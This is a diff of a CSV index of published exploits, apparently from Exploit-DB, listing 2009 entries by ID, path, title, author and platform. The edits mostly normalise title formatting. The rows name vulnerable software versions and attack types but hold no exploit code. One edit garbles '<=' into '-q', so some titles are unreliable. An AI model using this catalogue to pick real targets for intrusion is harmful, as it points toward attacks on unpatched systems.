 8577,platforms/php/webapps/8577.txt,"Leap CMS 0.1.4 (SQL/XSS/SU) Multiple Remote Vulnerabilities",2009-04-30,YEnH4ckEr,php,webapps,0
 8578,platforms/windows/dos/8578.pl,"Mercury Audio Player 1.21 (.M3U File) Local Stack Overflow PoC",2009-04-30,SirGod,windows,dos,0
 8579,platforms/windows/remote/8579.html,"BaoFeng ActiveX OnBeforeVideoDownload() Remote BOF Exploit",2009-04-30,MITBOY,windows,remote,0
@@ -8147,7 +8147,7 @@ id,file,description,date,author,platform,type,port
 8641,platforms/multiple/local/8641.txt,"PHP mb_ereg(i)_replace() Evaluate Replacement String Vulnerability",2009-05-07,80vul,multiple,local,0
 8642,platforms/php/webapps/8642.txt,"The Recipe Script 5 (Auth Bypass) SQL Injection / DB Backup Vulns",2009-05-08,TiGeR-Dz,php,webapps,0
 8643,platforms/php/webapps/8643.txt,"Realty Web-Base 1.0 (Auth Bypass) SQL Injection Vulnerability",2009-05-08,"ThE g0bL!N",php,webapps,0
-8644,platforms/windows/dos/8644.pl,"ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC",2009-05-08,LiquidWorm,windows,dos,0
+8644,platforms/windows/dos/8644.pl,"ViPlay3 <= 3.00 - (.vpl) Local Stack Overflow PoC",2009-05-08,LiquidWorm,windows,dos,0
 8645,platforms/php/webapps/8645.txt,"Luxbum 0.5.5/stable (Auth Bypass) SQL Injection Vulnerability",2009-05-08,knxone,php,webapps,0
 8646,platforms/multiple/dos/8646.php,"Mortbay Jetty <= 7.0.0-pre5 Dispatcher Servlet Denial of Service Exploit",2009-05-08,ikki,multiple,dos,0
 8647,platforms/php/webapps/8647.txt,"Battle Blog 1.25 (uploadform.asp) Arbitrary File Upload Vulnerability",2009-05-08,Cyber-Zone,php,webapps,0
@@ -8158,7 +8158,7 @@ id,file,description,date,author,platform,type,port
 8652,platforms/php/webapps/8652.pl,"eggBlog <= 4.1.1 Local Directory Transversal Exploit",2009-05-11,StAkeR,php,webapps,0
 8653,platforms/php/webapps/8653.txt,"Dacio's Image Gallery 1.6 (DT/Bypass/SU) Remote Vulnerabilities",2009-05-11,ahmadbady,php,webapps,0
 8654,platforms/php/webapps/8654.txt,"openWYSIWYG <= 1.4.7 Local Directory Transversal Vulnerability",2009-05-11,StAkeR,php,webapps,0
-8655,platforms/php/webapps/8655.pl,"microTopic v1 (rating) Remote Blind SQL Injection Exploit",2009-05-11,YEnH4ckEr,php,webapps,0
+8655,platforms/php/webapps/8655.pl,"microTopic 1 - (Rating) Remote Blind SQL Injection Exploit",2009-05-11,YEnH4ckEr,php,webapps,0
 8656,platforms/windows/local/8656.py,"MPLAB IDE 8.30 (.mcp) Universal Seh Overwrite Exploit",2009-05-11,His0k4,windows,local,0
 8657,platforms/windows/local/8657.txt,"EasyPHP 3.0 Arbitrary Modify Configuration File Vulnerability",2009-05-11,Zigma,windows,local,0
 8658,platforms/php/webapps/8658.txt,"Php Recommend <= 1.3 (AB/RFI/CI) Multiple Remote Vulnerabilities",2009-05-11,scriptjunkie,php,webapps,0
@@ -8194,7 +8194,7 @@ id,file,description,date,author,platform,type,port
 8688,platforms/php/webapps/8688.txt,"MRCGIGUY Ultimate Profit Portal 1.0.1 Insecure Cookie Handling Vuln",2009-05-14,TiGeR-Dz,php,webapps,0
 8689,platforms/php/webapps/8689.txt,"2daybiz Business Community Script Multiple Remote Vulnerabilities",2009-05-14,TiGeR-Dz,php,webapps,0
 8690,platforms/php/webapps/8690.txt,"Easy Scripts Answer and Question Script Multiple Vulnerabilities",2009-05-14,InjEctOr5,php,webapps,0
-8691,platforms/php/webapps/8691.txt,"2daybiz Template Monster Clone (edituser.php)  Change Pass Exploit",2009-05-14,TiGeR-Dz,php,webapps,0
+8691,platforms/php/webapps/8691.txt,"2daybiz Template Monster Clone (edituser.php) Change Pass Exploit",2009-05-14,TiGeR-Dz,php,webapps,0
 8692,platforms/php/webapps/8692.txt,"MRCGIGUY SimpLISTic SQL 2.0.0 Insecure Cookie Handling Vuln",2009-05-14,"ThE g0bL!N",php,webapps,0
 8694,platforms/php/webapps/8694.txt,"MRCGIGUY Top Sites 1.0.0 Insecure Cookie Handling Vuln",2009-05-14,"ThE g0bL!N",php,webapps,0
 8695,platforms/multiple/dos/8695.txt,"Eggdrop/Windrop 1.6.19 ctcpbuf Remote Crash Vulnerability",2009-05-15,"Thomas Sader",multiple,dos,0
@@ -8243,7 +8243,7 @@ id,file,description,date,author,platform,type,port
 8741,platforms/php/webapps/8741.txt,"DM FileManager 3.9.2 (Auth Bypass) SQL Injection Vulnerability",2009-05-19,Snakespc,php,webapps,0
 8742,platforms/windows/remote/8742.txt,"KingSoft Web Shield <= 1.1.0.62 XSS/Code Execution Vulnerability",2009-05-19,inking,windows,remote,0
 8743,platforms/php/webapps/8743.txt,"Joomla Casino 0.3.1 Multiple SQL Injection Exploits",2009-05-20,ByALBAYX,php,webapps,0
-8744,platforms/php/webapps/8744.txt,"exJune Officer Message System v1 Multiple Remote Vulnerabilities",2009-05-20,ByALBAYX,php,webapps,0
+8744,platforms/php/webapps/8744.txt,"exJune Officer Message System 1 - Multiple Remote Vulnerabilities",2009-05-20,ByALBAYX,php,webapps,0
 8745,platforms/php/webapps/8745.txt,"Catviz 0.4.0b1 (LFI/XSS) Multiple Remote Vulnerabilities",2009-05-20,ByALBAYX,php,webapps,0
 8746,platforms/php/webapps/8746.txt,"NC GBook 1.0 Remote Command injection Exploit",2009-05-20,"ThE g0bL!N",php,webapps,0
 8747,platforms/php/webapps/8747.txt,"NC LinkList 1.3.1 Remote Command Injection Exploit",2009-05-20,"ThE g0bL!N",php,webapps,0
@@ -8258,7 +8258,7 @@ id,file,description,date,author,platform,type,port
 8756,platforms/asp/webapps/8756.txt,"ASP Inline Corporate Calendar (SQL/XSS) Multiple Remote Vulnerabilities",2009-05-21,Bl@ckbe@rD,asp,webapps,0
 8757,platforms/windows/remote/8757.html,"BaoFeng (config.dll) ActiveX Remote Code Execution Exploit",2009-05-21,etirah,windows,remote,0
 8758,platforms/windows/remote/8758.html,"ChinaGames (CGAgent.dll) ActiveX Remote Code Execution Exploit",2009-05-21,etirah,windows,remote,0
-8759,platforms/php/webapps/8759.txt,"Flash Quiz Beta 2  Multiple Remote SQL Injection Vulnerabilities",2009-05-21,YEnH4ckEr,php,webapps,0
+8759,platforms/php/webapps/8759.txt,"Flash Quiz Beta 2 Multiple Remote SQL Injection Vulnerabilities",2009-05-21,YEnH4ckEr,php,webapps,0
 8761,platforms/php/webapps/8761.txt,"Article Directory (Auth Bypass) SQL Injection Vulnerability",2009-05-21,Hakxer,php,webapps,0
 8762,platforms/php/webapps/8762.txt,"Article Directory (page.php) Remote Blind SQL Injection Vulnerability",2009-05-21,"ThE g0bL!N",php,webapps,0
 8763,platforms/php/webapps/8763.txt,"ZaoCMS Insecure Cookie Handling Vulnerability",2009-05-21,"ThE g0bL!N",php,webapps,0
@@ -8330,10 +8330,10 @@ id,file,description,date,author,platform,type,port
 8831,platforms/php/webapps/8831.txt,"Traidnt Up 2.0 (Auth Bypass / Cookie) SQL Injection Vulnerability",2009-05-29,Qabandi,php,webapps,0
 8832,platforms/windows/dos/8832.php,"ICQ 6.5 URL Search Hook (Windows Explorer) Remote BOF PoC",2009-06-01,Nine:Situations:Group,windows,dos,0
 8833,platforms/hardware/local/8833.txt,"Linksys WAG54G2 Web Management Console Arbitrary Command Exec",2009-06-01,Securitum,hardware,local,0
-8834,platforms/php/webapps/8834.pl,"RadCLASSIFIEDS Gold v2 (seller) Remote SQL Injection Exploit",2009-06-01,Br0ly,php,webapps,0
+8834,platforms/php/webapps/8834.pl,"RadCLASSIFIEDS Gold 2 - (seller) Remote SQL Injection Exploit",2009-06-01,Br0ly,php,webapps,0
 8835,platforms/windows/remote/8835.html,"Roxio CinePlayer 3.2 (IAManager.dll) Remote BOF Exploit (heap spray)",2009-06-01,His0k4,windows,remote,0
 8836,platforms/php/webapps/8836.txt,"OCS Inventory NG 1.02 Multiple SQL Injection Vulnerabilities",2009-06-01,"Nico Leidecker",php,webapps,0
-8837,platforms/windows/dos/8837.txt,"AIMP 2.51 build 330 (ID3v1/ID3v2 Tag) Remote Stack BOF PoC (SEH)",2009-06-01,LiquidWorm,windows,dos,0
+8837,platforms/windows/dos/8837.txt,"AIMP 2.51 build 330 - (ID3v1/ID3v2 Tag) Remote Stack BOF PoC (SEH)",2009-06-01,LiquidWorm,windows,dos,0
 8838,platforms/php/webapps/8838.txt,"eliteCMS 1.01 (SQL/XSS) Multiple Remote Vulnerabilities",2009-06-01,xeno_hive,php,webapps,0
 8839,platforms/php/webapps/8839.txt,"Open-school 1.0 (id) Remote SQL Injection Vulnerability",2009-06-01,OzX,php,webapps,0
 8840,platforms/php/webapps/8840.txt,"Escon SupportPortal Pro 3.0 (tid) Blind SQL Injection Vulnerability",2009-06-01,OzX,php,webapps,0
@@ -8425,7 +8425,7 @@ id,file,description,date,author,platform,type,port
 8931,platforms/php/webapps/8931.txt,"TorrentVolve 1.4 (deleteTorrent) Delete Arbitrary File Vulnerability",2009-06-11,Br0ly,php,webapps,0
 8932,platforms/php/webapps/8932.txt,"Yogurt 0.3 (XSS/SQL Injection) Multiple Remote Vulnerabilities",2009-06-11,Br0ly,php,webapps,0
 8933,platforms/php/webapps/8933.php,"Sniggabo CMS (article.php id) Remote SQL Injection Exploit",2009-06-11,Lidloses_Auge,php,webapps,0
-8934,platforms/windows/remote/8934.py,"Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win)",2009-06-12,"Matteo Memelli",windows,remote,0
+8934,platforms/windows/remote/8934.py,"Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win)",2009-06-12,ryujin,windows,remote,0
 8935,platforms/php/webapps/8935.txt,"Zip Store Chat 4.0/5.0 (Auth Bypass) SQL Injection Vulnerability",2009-06-12,ByALBAYX,php,webapps,0
 8936,platforms/php/webapps/8936.txt,"4images <= 1.7.7 Filter Bypass HTML Injection/XSS Vulnerability",2009-06-12,Qabandi,php,webapps,0
 8937,platforms/php/webapps/8937.txt,"Campus Virtual-LMS (XSS/SQL Injection) Multiple Remote Vulnerabilities",2009-06-12,YasiĂ³n,php,webapps,0
@@ -8435,7 +8435,7 @@ id,file,description,date,author,platform,type,port
 8941,platforms/php/webapps/8941.txt,"Pivot 1.40.4-7 Multiple Remote Vulnerabilities",2009-06-12,intern0t,php,webapps,0
 8942,platforms/php/webapps/8942.txt,"TBDev 01-01-2008 Multiple Remote Vulnerabilities",2009-06-12,intern0t,php,webapps,0
 8943,platforms/php/webapps/8943.txt,"TransLucid 1.75 Multiple Remote Vulnerabilities",2009-06-12,intern0t,php,webapps,0
-8944,platforms/php/webapps/8944.txt,"Uebimiau Web-Mail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities",2009-06-12,GoLd_M,php,webapps,0
+8944,platforms/php/webapps/8944.txt,"Uebimiau Web-Mail <= 3.2.0-1.8 - Remote File / Overwrite Vulnerabilities",2009-06-12,GoLd_M,php,webapps,0
 8946,platforms/php/webapps/8946.txt,"Joomla Component com_Projectfork 2.0.10 Local File Inclusion Vuln",2009-06-15,ByALBAYX,php,webapps,0
 8947,platforms/php/webapps/8947.txt,"Impleo Music Collection 2.0 (SQL/XSS) Multiple Remote Vulnerabilities",2009-06-15,SirGod,php,webapps,0
 8948,platforms/php/webapps/8948.txt,"Mundi Mail 0.8.2 (top) Remote File Inclusion Vulnerability",2009-06-15,Br0ly,php,webapps,0
@@ -8456,7 +8456,7 @@ id,file,description,date,author,platform,type,port
 8963,platforms/hardware/remote/8963.txt,"Netgear DG632 Router Authentication Bypass Vulnerability",2009-06-15,"Tom Neaves",hardware,remote,0
 8964,platforms/hardware/dos/8964.txt,"Netgear DG632 Router Remote Denial of Service Vulnerability",2009-06-15,"Tom Neaves",hardware,dos,0
 8965,platforms/php/webapps/8965.txt,"vBulletin Radio and TV Player Add-On HTML Injection Vulnerability",2009-06-15,d3v1l,php,webapps,0
-8966,platforms/php/webapps/8966.txt,"phportal v1 (topicler.php id) Remote SQL Injection Vulnerability",2009-06-15,"Mehmet Ince",php,webapps,0
+8966,platforms/php/webapps/8966.txt,"phportal 1- (topicler.php id) Remote SQL Injection Vulnerability",2009-06-15,"Mehmet Ince",php,webapps,0
 8967,platforms/php/webapps/8967.txt,"The Recipe Script 5 Remote XSS Vulnerability",2009-06-15,"ThE g0bL!N",php,webapps,0
 8968,platforms/php/webapps/8968.txt,"Joomla Component com_jumi (fileid) Blind SQL Injection Exploit",2009-06-15,"Chip D3 Bi0s",php,webapps,0
 8969,platforms/windows/remote/8969.rb,"Green Dam 3.17 URL Processing Buffer Overflow Exploit (meta)",2009-06-16,Trancer,windows,remote,0
@@ -8493,7 +8493,7 @@ id,file,description,date,author,platform,type,port
 9005,platforms/php/webapps/9005.py,"Zen Cart 1.3.8 Remote SQL Execution Exploit",2009-06-23,BlackH,php,webapps,0
 9006,platforms/windows/dos/9006.py,"HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos Exploit",2009-06-23,Nibin,windows,dos,0
 9007,platforms/windows/dos/9007.rb,"HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos (meta)",2009-06-23,Nibin,windows,dos,0
-9008,platforms/php/webapps/9008.txt,"phpCollegeExchange 0.1.5c (RFI/LFI/XSS) Multiple  Vulnerabilities",2009-06-23,CraCkEr,php,webapps,0
+9008,platforms/php/webapps/9008.txt,"phpCollegeExchange 0.1.5c (RFI/LFI/XSS) Multiple Vulnerabilities",2009-06-23,CraCkEr,php,webapps,0
 9009,platforms/php/webapps/9009.txt,"BASE <= 1.2.4 (Auth Bypass) Insecure Cookie Handling Vulnerability",2009-06-24,"Tim Medin",php,webapps,0
 9010,platforms/php/webapps/9010.txt,"Glossword <= 1.8.11 (index.php x) Local File Inclusion Vulnerability",2009-06-24,t0fx,php,webapps,0
 9011,platforms/php/webapps/9011.txt,"Joomla Component com_pinboard Remote File Upload Vulnerability",2009-06-24,ViRuSMaN,php,webapps,0
@@ -8514,7 +8514,7 @@ id,file,description,date,author,platform,type,port
 9027,platforms/php/webapps/9027.txt,"Messages Library 2.0 (cat.php CatID) SQL Injection Vulnerability",2009-06-29,SecurityRules,php,webapps,0
 9028,platforms/php/webapps/9028.txt,"Joomla Component com_php (id) Blind SQL Injection Vulnerability",2009-06-29,"Chip D3 Bi0s",php,webapps,0
 9029,platforms/windows/dos/9029.rb,"VideoLAN VLC Media Player 0.9.9 smb:// URI Stack BOF PoC",2009-06-29,Trancer,windows,dos,0
-9030,platforms/php/webapps/9030.txt,"Joomla Component com_K2 <= 1.0.1b (category) SQL Injection Vuln",2009-06-29,"Chip D3 Bi0s",php,webapps,0
+9030,platforms/php/webapps/9030.txt,"Joomla Component com_K2 -q 1.0.1b (category) SQL Injection Vuln",2009-06-29,"Chip D3 Bi0s",php,webapps,0
 9031,platforms/windows/remote/9031.py,"Bopup Communications Server (3.2.26.5460) Remote BOF Exploit (SEH)",2009-06-29,His0k4,windows,remote,19810
 9032,platforms/php/webapps/9032.txt,"osTicket 1.6 RC4 Admin Login Blind SQL Injection Vulnerability",2009-06-29,"Adam Baldwin",php,webapps,0
 9033,platforms/windows/dos/9033.pl,"SCMPX 1.5.1 (.m3u File) Local Heap Overflow PoC",2009-06-29,hack4love,windows,dos,0
@@ -8541,7 +8541,7 @@ id,file,description,date,author,platform,type,port
 9056,platforms/php/webapps/9056.txt,"MDPro Module CWGuestBook <= 2.1 Remote SQL Injection Vulnerability",2009-06-30,Dante90,php,webapps,0
 9057,platforms/php/webapps/9057.txt,"TSEP <= 0.942.02 Multiple Remote Vulnerabilities",2009-06-30,eLwaux,php,webapps,0
 9058,platforms/php/webapps/9058.pl,"PunBB Extension Vote For Us <= 1.0.1 Blind SQL Injection Exploit",2009-06-30,Dante90,php,webapps,0
-9059,platforms/php/webapps/9059.htm,"Messages Library 2.0 Arbitrary Administrator Account  Vulnerability",2009-06-30,"ThE g0bL!N",php,webapps,0
+9059,platforms/php/webapps/9059.htm,"Messages Library 2.0 Arbitrary Administrator Account Vulnerability",2009-06-30,"ThE g0bL!N",php,webapps,0
 9060,platforms/windows/local/9060.pl,"MP3-Nator 2.0 (plf File) Universal Buffer Overflow Exploit (SEH)",2009-07-01,"ThE g0bL!N",windows,local,0
 9061,platforms/windows/dos/9061.pl,"PEamp 1.02b (.M3U File) Local Buffer Overflow PoC",2009-07-01,"ThE g0bL!N",windows,dos,0
 9062,platforms/php/webapps/9062.txt,"Messages Library 2.0 Arbitrary Delete Message Vulnerability",2009-07-01,Stack,php,webapps,0
@@ -8603,10 +8603,10 @@ id,file,description,date,author,platform,type,port
 9119,platforms/php/webapps/9119.txt,"LionWiki (index.php page) Local File Inclusion Vulnerability",2009-07-10,MoDaMeR,php,webapps,0
 9121,platforms/php/webapps/9121.php,"Morcego CMS <= 1.7.6 Remote Blind SQL Injection Exploit",2009-07-10,darkjoker,php,webapps,0
 9122,platforms/php/webapps/9122.txt,"Opial 1.0 Arbitrary File Upload/XSS/SQL Injection Vulnerabilities",2009-07-11,LMaster,php,webapps,0
-9123,platforms/windows/dos/9123.pl,"M3U/M3L to ASX/WPL 1.1  (ASX,M3U,M3L) Local BOF PoC",2009-07-11,"ThE g0bL!N",windows,dos,0
-9124,platforms/windows/dos/9124.pl,"Playlistmaker 1.5  (.M3U/M3L/TXT File) Local Stack Overflow PoC",2009-07-11,"ThE g0bL!N",windows,dos,0
+9123,platforms/windows/dos/9123.pl,"M3U/M3L to ASX/WPL 1.1 (ASX,M3U,M3L) Local BOF PoC",2009-07-11,"ThE g0bL!N",windows,dos,0
+9124,platforms/windows/dos/9124.pl,"Playlistmaker 1.5 (.M3U/M3L/TXT File) Local Stack Overflow PoC",2009-07-11,"ThE g0bL!N",windows,dos,0
 9125,platforms/php/webapps/9125.txt,"Ebay Clone 2009 Multiple SQL Injection Vulnerabilities",2009-07-11,MizoZ,php,webapps,0
-9126,platforms/php/webapps/9126.txt,"Joomla Component com_category (catid)  SQL Injection Vulnerability",2009-07-11,Prince_Pwn3r,php,webapps,0
+9126,platforms/php/webapps/9126.txt,"Joomla Component com_category (catid) SQL Injection Vulnerability",2009-07-11,Prince_Pwn3r,php,webapps,0
 9127,platforms/php/webapps/9127.txt,"d.net CMS Arbitrary Reinstall/Blind SQL Injection Exploit",2009-07-11,darkjoker,php,webapps,0
 9128,platforms/windows/remote/9128.py,"Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)",2009-07-12,His0k4,windows,remote,0
 9129,platforms/php/webapps/9129.txt,"Censura 1.16.04 (bSQL/XSS) Multiple Remote Vulnerabilities",2009-07-12,Vrs-hCk,php,webapps,0
@@ -8624,7 +8624,7 @@ id,file,description,date,author,platform,type,port
 9141,platforms/windows/dos/9141.pl,"Icarus 2.0 (.ICP File) Local Stack Overflow PoC",2009-07-14,"ThE g0bL!N",windows,dos,0
 9142,platforms/windows/local/9142.c,"Live For Speed 2 Version Z .Mpr Local buffer Overflow Exploit",2009-07-14,n00b,windows,local,0
 9143,platforms/linux/remote/9143.txt,"Virtualmin < 3.703 Multiple Local/Remote Vulnerabilities",2009-07-14,"Filip Palian",linux,remote,0
-9144,platforms/php/webapps/9144.txt,"Mobilelib Gold v3 Local File Disclosure Vulnerability",2009-07-14,Qabandi,php,webapps,0
+9144,platforms/php/webapps/9144.txt,"Mobilelib Gold 3.0 - Local File Disclosure Vulnerability",2009-07-14,Qabandi,php,webapps,0
 9145,platforms/php/webapps/9145.php,"Traidnt UP 2.0 Remote Blind SQL Injection Exploit",2009-07-14,Qabandi,php,webapps,0
 9146,platforms/windows/local/9146.pl,"Icarus 2.0 (.ICP File) Local Stack Overflow Exploit",2009-07-14,[0]x80->[H]4x²0r,windows,local,0
 9147,platforms/windows/dos/9147.pl,"MixVibes Pro 7.043 (.vib File) Local Stack Overflow PoC",2009-07-14,hack4love,windows,dos,0
@@ -8673,9 +8673,9 @@ id,file,description,date,author,platform,type,port
 9191,platforms/linux/local/9191.txt,"Linux 2.6.30+/SELinux/RHEL5 Test Kernel Local Root Exploit 0day",2009-07-17,spender,linux,local,0
 9192,platforms/windows/dos/9192.pl,"Soritong MP3 Player 1.0 (SKIN) Local Stack Overflow PoC (SEH)",2009-07-17,"ThE g0bL!N",windows,dos,0
 9193,platforms/php/webapps/9193.pl,"WebVision 2.1 (news.php n) Remote SQL Injection Exploit",2009-07-17,Mr.tro0oqy,php,webapps,0
-9194,platforms/php/webapps/9194.txt,"RadBIDS GOLD v4 Multiple Remote Vulnerabilities",2009-07-17,Moudi,php,webapps,0
+9194,platforms/php/webapps/9194.txt,"RadBIDS GOLD 4.0 - Multiple Remote Vulnerabilities",2009-07-17,Moudi,php,webapps,0
 9195,platforms/php/webapps/9195.txt,"RadLance Gold 7.5 Multiple Remote Vulnerabilities",2009-07-17,Moudi,php,webapps,0
-9196,platforms/php/webapps/9196.txt,"RadNICS Gold v5 Multiple Remote Vulnerabilities",2009-07-17,Moudi,php,webapps,0
+9196,platforms/php/webapps/9196.txt,"RadNICS Gold 5.0 - Multiple Remote Vulnerabilities",2009-07-17,Moudi,php,webapps,0
 9198,platforms/multiple/dos/9198.txt,"Real Helix DNA RTSP and SETUP Request Handler Vulnerabilities",2009-07-17,"Core Security",multiple,dos,0
 9199,platforms/windows/local/9199.txt,"Adobe related service (getPlus_HelperSvc.exe) Local Privilege Escalation",2009-07-20,Nine:Situations:Group,windows,local,0
 9200,platforms/windows/dos/9200.pl,"EpicVJ 1.2.8.0 (.mpl/.m3u) Local Heap Overflow PoC",2009-07-20,hack4love,windows,dos,0
@@ -8683,11 +8683,11 @@ id,file,description,date,author,platform,type,port
 9203,platforms/php/webapps/9203.txt,"Netrix CMS 1.0 Authentication Bypass Vulnerability",2009-07-20,Mr.tro0oqy,php,webapps,0
 9204,platforms/php/webapps/9204.txt,"MiniCWB 2.3.0 (LANG) Remote File Inclusion Vulnerabilities",2009-07-20,NoGe,php,webapps,0
 9205,platforms/php/webapps/9205.txt,"MCshoutbox 1.1 (SQL/XSS/Shell) Multiple Remote Vulnerabilities",2009-07-20,SirGod,php,webapps,0
-9206,platforms/freebsd/dos/9206.c,"FreeBSD 7.2 (pecoff executable)  Local Denial of Service Exploit",2009-07-20,"Shaun Colley",freebsd,dos,0
+9206,platforms/freebsd/dos/9206.c,"FreeBSD 7.2 (pecoff executable) Local Denial of Service Exploit",2009-07-20,"Shaun Colley",freebsd,dos,0
 9207,platforms/windows/local/9207.sh,"PulseAudio setuid Local Privilege Escalation Exploit",2009-07-20,n/a,windows,local,0
 9208,platforms/linux/local/9208.txt,"PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)",2009-07-20,n/a,linux,local,0
 9209,platforms/hardware/remote/9209.txt,"DD-WRT (httpd service) Remote Command Execution Vulnerability",2009-07-20,gat3way,hardware,remote,0
-9211,platforms/php/webapps/9211.txt,"Alibaba-clone CMS (SQL/bSQL) Remote SQL  Injection Vulnerabilities",2009-07-20,"599eme Man",php,webapps,0
+9211,platforms/php/webapps/9211.txt,"Alibaba-clone CMS (SQL/bSQL) Remote SQL Injection Vulnerabilities",2009-07-20,"599eme Man",php,webapps,0
 9212,platforms/windows/dos/9212.pl,"Acoustica MP3 Audio Mixer 2.471 (.sgp file) Crash Exploit",2009-07-20,prodigy,windows,dos,0
 9213,platforms/windows/dos/9213.pl,"Acoustica MP3 Audio Mixer 2.471(.m3u) Local Heap Overflow PoC",2009-07-20,"D3V!L FucK3r",windows,dos,0
 9214,platforms/windows/remote/9214.pl,"Mozilla Firefox 3.5 (Font tags) Remote Heap Spray Exploit (pl)",2009-07-20,netsoul,windows,remote,0
@@ -8720,7 +8720,7 @@ id,file,description,date,author,platform,type,port
 9245,platforms/php/webapps/9245.pl,"PHP Live! 3.2.1/2 (x) Remote Blind SQL Injection Exploit",2009-07-24,skys,php,webapps,0
 9246,platforms/php/webapps/9246.txt,"Basilic 1.5.13 (index.php idAuthor) SQL Injection Vulnerability",2009-07-24,NoGe,php,webapps,0
 9247,platforms/osx/remote/9247.py,"Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit (osx)",2009-07-24,Dr_IDE,osx,remote,0
-9248,platforms/php/webapps/9248.txt,"SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability",2009-07-24,SwEET-DeViL,php,webapps,0
+9248,platforms/php/webapps/9248.txt,"SaphpLesson 4.0 - (Auth Bypass) SQL Injection Vulnerability",2009-07-24,SwEET-DeViL,php,webapps,0
 9249,platforms/php/webapps/9249.txt,"Xoops Celepar Module Qas (codigo) SQL Injection Vulnerability",2009-07-24,s4r4d0,php,webapps,0
 9250,platforms/php/webapps/9250.sh,"Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit",2009-07-24,superfreakaz0rz,php,webapps,0
 9251,platforms/php/webapps/9251.txt,"Deonixscripts Templates Management 1.3 SQL Injection Vulnerability",2009-07-24,d3b4g,php,webapps,0
@@ -8742,7 +8742,7 @@ id,file,description,date,author,platform,type,port
 9267,platforms/php/webapps/9267.txt,"VS PANEL 7.5.5 (Cat_ID) SQL Injection Vulnerability (patched?)",2009-07-27,octopos,php,webapps,0
 9268,platforms/hardware/dos/9268.rb,"Cisco WLC 4402 Basic Auth Remote Denial of Service (meta)",2009-07-27,"Christoph Bott",hardware,dos,0
 9269,platforms/php/webapps/9269.txt,"PHP Paid 4 Mail Script (home.php page) Remote File Inclusion Vuln",2009-07-27,int_main();,php,webapps,0
-9270,platforms/php/webapps/9270.txt,"Super Mod System v3 (s) SQL Injection Vulnerability",2009-07-27,MizoZ,php,webapps,0
+9270,platforms/php/webapps/9270.txt,"Super Mod System 3.0 - (s) SQL Injection Vulnerability",2009-07-27,MizoZ,php,webapps,0
 9271,platforms/php/webapps/9271.txt,"Inout Adserver (id) Remote SQL injection Vulnerability",2009-07-27,boom3rang,php,webapps,0
 9272,platforms/windows/local/9272.py,"Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (py)",2009-07-27,Dr_IDE,windows,local,0
 9273,platforms/php/webapps/9273.php,"Allomani Mobile 2.5 Remote Blind SQL Injection Exploit",2009-07-27,Qabandi,php,webapps,0
@@ -8756,13 +8756,13 @@ id,file,description,date,author,platform,type,port
 9281,platforms/php/webapps/9281.txt,"Limny 1.01 (Auth Bypass) SQL Injection Vulnerability",2009-07-27,SirGod,php,webapps,0
 9282,platforms/php/webapps/9282.txt,"Magician Blog <= 1.0 (ids) Remote SQL Injection Vulnerability",2009-07-27,Evil-Cod3r,php,webapps,0
 9283,platforms/php/webapps/9283.txt,"Magician Blog <= 1.0 (Auth Bypass) SQL injection Vulnerability",2009-07-27,Evil-Cod3r,php,webapps,0
-9284,platforms/php/webapps/9284.txt,"SerWeb <= 2.1.0-dev1 2009-07-02 Multiple RFI Vulnerabilities",2009-07-27,GoLd_M,php,webapps,0
+9284,platforms/php/webapps/9284.txt,"SerWeb <= 2.1.0-dev1 2009-07-02 - Multiple RFI Vulnerabilities",2009-07-27,GoLd_M,php,webapps,0
 9286,platforms/windows/local/9286.pl,"MP3 Studio 1.0 (.mpf /.m3u File) Local Stack Overflow Exploit (SEH)",2009-07-28,corelanc0d3r,windows,local,0
 9287,platforms/php/webapps/9287.txt,"PHP Paid 4 Mail Script (paidbanner.php ID) SQL Injection Vulnerability",2009-07-28,"ThE g0bL!N",php,webapps,0
 9288,platforms/php/webapps/9288.txt,"phpArcadeScript 4.0 (linkout.php id) SQL Injection Vulnerability",2009-07-28,MizoZ,php,webapps,0
 9289,platforms/php/webapps/9289.pl,"PunBB Reputation.php Mod <= 2.0.4 Blind SQL Injection Exploit",2009-07-28,Dante90,php,webapps,0
-9290,platforms/php/webapps/9290.txt,"In-Portal  4.3.1 Arbitrary Shell Upload Vulnerability",2009-07-28,Mr.tro0oqy,php,webapps,0
-9291,platforms/windows/local/9291.pl,"MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH)",2009-07-28,Koshi,windows,local,0
+9290,platforms/php/webapps/9290.txt,"In-Portal 4.3.1 Arbitrary Shell Upload Vulnerability",2009-07-28,Mr.tro0oqy,php,webapps,0
+9291,platforms/windows/local/9291.pl,"MP3 Studio 1.0 - (.mpf) Local BOF Exploit (SEH)",2009-07-28,Koshi,windows,local,0
 9292,platforms/php/webapps/9292.txt,"PaoLink 1.0 (login_ok) Authentication Bypass Vulnerability",2009-07-28,SirGod,php,webapps,0
 9293,platforms/php/webapps/9293.txt,"PaoBacheca Guestbook 2.1 (login_ok) Auth Bypass Vulnerability",2009-07-28,SirGod,php,webapps,0
 9294,platforms/php/webapps/9294.txt,"PaoLiber 1.1 (login_ok) Authentication Bypass Vulnerability",2009-07-28,SirGod,php,webapps,0
@@ -8791,14 +8791,14 @@ id,file,description,date,author,platform,type,port
 9317,platforms/windows/dos/9317.c,"Google SketchUp Pro 7.0 (.skp file) Remote Stack Overflow PoC",2009-08-01,LiquidWorm,windows,dos,0
 9318,platforms/windows/remote/9318.py,"VLC Media Player 0.8.6f smb:// URI Handling Remote BOF Exploit (univ)",2009-07-31,His0k4,windows,remote,0
 9319,platforms/windows/remote/9319.py,"SAP Business One 2005-A License Manager Remote BOF Exploit",2009-08-01,Bruk0ut,windows,remote,30000
-9320,platforms/php/webapps/9320.php,"Arab Portal v2.x (forum.php qc) Remote SQL Injection Exploit",2009-08-01,rEcruit,php,webapps,0
+9320,platforms/php/webapps/9320.php,"Arab Portal 2.x - (forum.php qc) Remote SQL Injection Exploit",2009-08-01,rEcruit,php,webapps,0
